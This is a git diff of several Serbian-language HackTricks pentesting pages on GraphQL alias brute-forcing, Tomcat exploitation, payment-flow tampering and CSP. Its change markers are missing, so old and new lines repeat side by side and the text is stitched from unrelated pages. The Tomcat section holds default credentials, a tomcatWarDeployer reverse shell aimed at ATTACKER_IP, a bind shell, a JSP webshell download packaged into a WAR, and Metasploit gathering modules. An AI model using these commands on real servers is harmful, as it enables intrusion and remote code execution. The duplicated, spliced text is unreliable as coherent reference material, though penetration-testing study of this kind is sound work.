Iako je primarni cilj aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje napada grubom silom na GraphQL endpoint. Ovo je moguće jer su neki endpointovi zaštićeni limitatorima brzine dizajniranim da spreče napade grubom silom ograničavanjem **broja HTTP zahteva**. Međutim, ovi limitatori brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine.
Razmotrite donji primer koji ilustruje kako se mogu koristiti aliasirani upiti za proveru validnosti kodova za popust u prodavnici. Ovaj metod može zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, što potencijalno omogućava proveru brojnih kodova za popust istovremeno.
Razmotrite donji primer, koji ilustruje kako se aliasovani upiti mogu koristiti za proveru validnosti kodova popusta u prodavnici. Ovaj metod bi mogao zaobići ograničenje brzine jer kompajlira nekoliko upita u jedan HTTP zahtev, što potencijalno omogućava proveru brojnih kodova popusta istovremeno.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -469,16 +471,16 @@ valid
### Skeneri ranjivosti
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa.
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit koji se može koristiti za dobijanje šema i pretragu osetljivih podataka, testiranje autorizacije, grubo pretraživanje šema i pronalaženje putanja do određenog tipa.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti samostalno ili kao [Burp ekstenzija](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent i za automatizaciju napada.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine dostizanja određenog tipa u GraphQL šemi.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Scanner**_ je jezgro InQL v5.0, gde možete analizirati GraphQL endpoint ili lokalni introspekcioni fajl šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturiran prikaz za analizu. Komponenta _**Attacker**_ omogućava pokretanje grupnih GraphQL napada, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji nabraja različite načine dostizanja određenog tipa u GraphQL šemi.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Scanner**_ je srž InQL v5.0, gde možete analizirati GraphQL endpoint ili lokalni introspekcijski fajl šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturiran prikaz za vašu analizu. Komponenta _**Attacker**_ vam omogućava pokretanje grupnih GraphQL napada, što može biti korisno za zaobilazak loše implementiranih ograničenja brzine.
### Klijenti
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Grafički klijent
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Grafički klijent
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI klijent
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI klijent
### Automatski testovi
@ -502,10 +504,10 @@ valid
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -81,7 +81,7 @@ $file = file_get_contents($url, false, $context);
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,9 +2,9 @@
<details>
<summary><strong>Научите хаковање AWS од нуле до хероја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Научите хаковање AWS од нуле до героја са</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Да ли радите у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
* Радите ли у **компанији за кибер безбедност**? Желите ли да видите **вашу компанију рекламирану на HackTricks**? или желите приступ **најновијој верзији PEASS или преузимање HackTricks у PDF-у**? Проверите [**ПЛАНОВЕ ПРЕТПЛАТЕ**](https://github.com/sponsors/carlospolop)!
* Откријте [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцију ексклузивних [**NFT-ова**](https://opensea.io/collection/the-peass-family)
* Набавите [**званични PEASS & HackTricks сувенир**](https://peass.creator-spring.com)
* **Придружите се** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord групи**](https://discord.gg/hRep4RUj7f) или [**телеграм групи**](https://t.me/peass) или **пратите** ме на **Твитеру** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -23,7 +23,7 @@
## Откривање
* Обично се извршава на **порту 8080**
* **Уобичајена грешка Томката:**
* **Честа грешка Томката:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
@ -56,11 +56,11 @@ Direktorijum **`/manager/html`** je posebno osetljiv jer omogućava otpremanje i
* tomcat:s3cr3t
* admin:tomcat
Ove akreditacije mogu biti testirane korišćenjem:
Ove akreditacije se mogu testirati korišćenjem:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Drugi značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.
Drugi značajan direktorijum je **`/manager/status`**, koji prikazuje verziju Tomcat-a i OS-a, pomažući u identifikaciji ranjivosti.
### **Napad grubom silom**
@ -82,7 +82,7 @@ Da biste pristupili upravljačkom vebu Tomcata, idite na: `pathTomcat/%252E%252E
### /primeri
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko skripti (XSS). Ove skripte, navedene detaljno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni otkrivanju informacija i napadima preko skripti sa preusmeravanjem preko stranica (XSS). Ove skripte, navedene detaljno, treba proveriti radi neovlašćenog pristupa i potencijalne eksploatacije. Pronađite [više informacija ovde](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
@ -111,13 +111,13 @@ Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koji su podložni ot
U nekim [**ranjivim konfiguracijama Tomcata**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) možete dobiti pristup zaštićenim direktorijumima u Tomcatu koristeći putanju: `/..;/`
Na primer, možda ćete moći **pristupiti stranici za upravljanje Tomcatom** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html`
Na primer, možda ćete moći **pristupiti stranici upravljača Tomcata** pristupanjem: `www.vulnerable.com/lalala/..;/manager/html`
**Još jedan način** za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Na kraju, ako imate pristup Upravljaču veb aplikacijama Tomcata, možete **otpakovati i implementirati .war datoteku (izvršiti kod)**.
Na kraju, ako imate pristup Upravljaču veb aplikacija Tomcata, možete **učitati i implementirati .war datoteku (izvršiti kod)**.
### Ograničenja
@ -160,8 +160,6 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
@ -203,11 +201,9 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
Možete takođe instalirati ovo (omogućava otpremanje, preuzimanje i izvršavanje komandi): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Ručni metod 2
Preuzmite JSP web školjku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i napravite WAR datoteku:
Preuzmite JSP web školjku poput [ove](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) i kreirajte WAR datoteku:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -225,7 +221,7 @@ find / -name tomcat-users.xml 2>/dev/null
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Ostali alati za skeniranje Tomcat servera
## Ostali alati za skeniranje Tomcat-a
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
@ -236,7 +232,7 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -244,10 +240,10 @@ msf> use post/windows/gather/enum_tomcat
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -52,7 +52,7 @@ Kako ne biste pokretali Tomcat sa root privilegijama, veoma česta konfiguracija
* `bin` folder čuva skripte i binarne datoteke potrebne za pokretanje i rad Tomcat servera.
* `conf` folder čuva različite konfiguracione datoteke koje koristi Tomcat.
* Datoteka `tomcat-users.xml` čuva korisničke podatke i njihove dodeljene uloge.
* `lib` folder sadrži različite JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
* `lib` folder drži različite JAR datoteke potrebne za ispravno funkcionisanje Tomcat-a.
* `logs` i `temp` folderi čuvaju privremene log datoteke.
* `webapps` folder je podrazumevani webroot Tomcat-a i hostuje sve aplikacije. `work` folder funkcioniše kao keš i koristi se za čuvanje podataka tokom izvršavanja.
@ -74,7 +74,7 @@ webapps/customapp
└── AdminServlet.class
```
Najvažnija datoteka među njima je `WEB-INF/web.xml`, poznata kao opisnik implementacije. Ova datoteka čuva **informacije o rutama** koje koristi aplikacija i klase koje upravljaju tim rutama.\
Sve kompajlirane klase koje koristi aplikacija treba čuvati u fascikli `WEB-INF/classes`. Te klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. Fascikla `lib` čuva biblioteke potrebne toj određenoj aplikaciji. Fascikla `jsp` čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
Sve kompajlirane klase koje koristi aplikacija treba da budu smeštene u fascikli `WEB-INF/classes`. Ove klase mogu sadržati važnu poslovnu logiku kao i osetljive informacije. Svaka ranjivost u ovim datotekama može dovesti do potpunog kompromitovanja veb sajta. Fascikla `lib` čuva biblioteke potrebne toj određenoj aplikaciji. Fascikla `jsp` čuva [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ranije poznate kao `JavaServer Pages`, koje se mogu uporediti sa PHP datotekama na Apache serveru.
Evo primera **web.xml** datoteke.
```xml
@ -94,11 +94,11 @@ Evo primera **web.xml** datoteke.
</servlet-mapping>
</web-app>
```
Konfiguracija `web.xml` gore definiše **novi servlet nazvan `AdminServlet`** koji je mapiran na **klasu `com.inlanefreight.api.AdminServlet`**. Java koristi tačkastu notaciju za kreiranje imena paketa, što znači da bi putanja na disku za gore navedenu klasu bila:
Gornja konfiguracija `web.xml` definiše **novi servlet nazvan `AdminServlet`** koji je mapiran na **klasu `com.inlanefreight.api.AdminServlet`**. Java koristi tačkastu notaciju za kreiranje imena paketa, što znači da bi putanja na disku za gore navedenu klasu bila:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Zatim je kreirano novo mapiranje servleta da **mapira zahteve na `/admin` sa `AdminServlet`**. Ova konfiguracija će poslati svaki zahtev primljen za **`/admin` klasi `AdminServlet.class`** na obradu. Deskriptor **`web.xml`** sadrži mnogo **osetljivih informacija** i važan je fajl za proveru prilikom iskorišćavanja **Local File Inclusion (LFI) ranjivosti**.
Zatim je kreiran novi mapiranje servleta kako bi se **mapirali zahtevi na `/admin` sa `AdminServlet`**. Ova konfiguracija će proslediti svaki zahtev primljen za **`/admin` klasi `AdminServlet.class`** na obradu. Deskriptor **`web.xml`** sadrži mnogo **osetljivih informacija** i važan je fajl za proveru prilikom iskorišćavanja **ranjivosti lokalnog uključivanja datoteka (LFI)**.
### tomcat-users
@ -151,18 +151,18 @@ Datoteka nam pokazuje na šta svaka od uloga `manager-gui`, `manager-script`, `m
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -35,19 +35,39 @@ Tokom procesa transakcije, važno je pratiti podatke koji se razmenjuju između
Ako naiđete na parametar koji sadrži URL, posebno onaj koji sledi obrazac _primer.com/plaćanje/MD5HASH_, potrebno je pažljivije ispitati. Evo korak-po-korak pristupa:
1. **Kopirajte URL**: Izdvojite URL iz vrednosti parametra.
2. **Inspekcija u Novom Prozoru**: Otvorite kopirani URL u novom prozoru pregledača. Ova radnja je ključna za razumevanje ishoda transakcije.
2. **Inspekcija u Novom Prozoru**: Otvorite kopirani URL u novom prozoru pregledača. Ova akcija je ključna za razumevanje ishoda transakcije.
### Manipulacija Parametrima
1. **Promenite Vrednosti Parametara**: Ispitajte menjanjem vrednosti parametara poput _Success_, _Referrer_ ili _Callback_. Na primer, promena parametra sa `false` na `true` ponekad može otkriti kako sistem obrađuje ove ulaze.
2. **Uklonite Parametre**: Pokušajte da uklonite određene parametre u potpunosti kako biste videli kako sistem reaguje. Neki sistemi mogu imati rezervne opcije ili podrazumevano ponašanje kada nedostaju očekivani parametri.
2. **Uklonite Parametre**: Pokušajte da uklonite određene parametre da biste videli kako sistem reaguje. Neki sistemi mogu imati rezervne opcije ili podrazumevano ponašanje kada nedostaju očekivani parametri.
### Manipulacija Kolačićima
1. **Ispitajte Kolačiće**: Mnoge veb stranice čuvaju važne informacije u kolačićima. Ispitajte ove kolačiće za bilo koje podatke koji se odnose na status plaćanja ili autentifikaciju korisnika.
2. **Izmenite Vrednosti Kolačića**: Promenite vrednosti koje se čuvaju u kolačićima i posmatrajte kako se menja odgovor ili ponašanje veb stranice.
### Manipulacija Kukijima (Cookies)
1. **Ispitajte Kukije**: Mnoge veb stranice čuvaju važne informacije u kukijima. Ispitajte ove kukije za bilo kakve podatke koji se odnose na status plaćanja ili autentifikaciju korisnika.
2. **Izmenite Vrednosti Kukija**: Promenite vrednosti koje se čuvaju u kukijima i posmatrajte kako se odgovor ili ponašanje veb stranice menjaju.
### Hakovanje Sesije
1. **Sesioni Tokeni**: Ako se sesioni tokeni koriste u procesu plaćanja, pokušajte da ih uhvatite i manipulišete njima. Ovo može pružiti uvid u ranjivosti upravljanja sesijom.
1. **Tokeni Sesije**: Ako se koriste tokeni sesije u procesu plaćanja, pokušajte da ih uhvatite i manipulišete njima. Ovo može pružiti uvide u ranjivosti upravljanja sesijom.
### Manipulacija Odgovorima
1. **Interceptujte Odgovore**: Koristite alate za presretanje i analizu odgovora sa servera. Potražite bilo koje podatke koji bi mogli ukazivati na uspešnu transakciju ili otkriti sledeće korake u procesu plaćanja.
1. **Interceptujte Odgovore**: Koristite alate za presretanje i analizu odgovora sa servera. Potražite bilo kakve podatke koji bi mogli ukazivati na uspešnu transakciju ili otkriti sledeće korake u procesu plaćanja.
2. **Izmenite Odgovore**: Pokušajte da izmenite odgovore pre nego što ih obradi pregledač ili aplikacija kako biste simulirali scenarij uspešne transakcije.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -31,9 +31,9 @@ Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažu
## Šta je CSP
Politika bezbednosti sadržaja (CSP) je prepoznata kao tehnologija pregledača, pre svega namenjena **zaštiti od napada poput skriptovanja preko različitih sajtova (XSS)**. Funkcioniše tako što definiše i detaljno opisuje putanje i izvore sa kojih pregledač može bezbedno učitati resurse. Ovi resursi obuhvataju različite elemente kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući i inline resurse i izvršavanje koda u obliku stringa kroz funkcije poput `eval`, `setTimeout` ili `setInterval`.
